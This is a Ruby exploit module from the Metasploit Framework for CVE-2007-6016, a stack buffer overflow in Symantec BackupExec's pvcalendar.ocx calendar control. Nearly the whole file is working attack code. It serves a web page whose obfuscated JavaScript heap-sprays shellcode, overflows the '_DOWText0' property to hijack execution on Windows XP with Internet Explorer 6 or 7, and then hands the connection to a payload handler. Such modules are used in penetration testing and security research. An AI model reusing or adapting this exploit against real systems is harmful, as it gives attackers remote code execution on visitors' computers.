130 lines
4.1 KiB
Ruby
130 lines
4.1 KiB
Ruby
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Symantec BackupExec Calendar Control Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in Symantec BackupExec Calendar Control.
|
|
By sending an overly long string to the "_DOWText0" property located
|
|
in the pvcalendar.ocx control, an attacker may be able to execute
|
|
arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', 'CVE-2007-6016' ],
|
|
[ 'BID', '26904' ],
|
|
[ 'URL', 'http://secunia.com/advisories/27885/' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]
|
|
],
|
|
'DisclosureDate' => 'Feb 28 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Encode the shellcode
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Setup exploit buffers
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
blocksize = 0x30000
|
|
fillto = 400
|
|
offset = target['Offset']
|
|
junk = rand_text_alpha(4)
|
|
|
|
# Randomize the javascript variable names
|
|
pvcalendar = rand_text_alpha(rand(100) + 1)
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
j_junk = rand_text_alpha(rand(100) + 1)
|
|
j_filename = rand_text_alpha(rand(16) + 1)
|
|
|
|
# Build out the message
|
|
content = %Q|
|
|
<html>
|
|
<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
|
|
<script language='javascript'>
|
|
#{j_shellcode} = unescape('#{shellcode}');
|
|
#{j_nops} = unescape('#{nops}');
|
|
#{j_headersize} = 20;
|
|
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
|
|
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
|
|
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
|
|
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
|
|
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
|
|
#{j_memory} = new Array();
|
|
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
|
|
#{j_ret} = unescape('#{ret}');
|
|
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
|
|
#{j_junk} = '#{junk}';
|
|
while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};
|
|
try {
|
|
#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};
|
|
#{pvcalendar}.Save('#{j_filename}',0);
|
|
} catch(err) {}
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|
|
|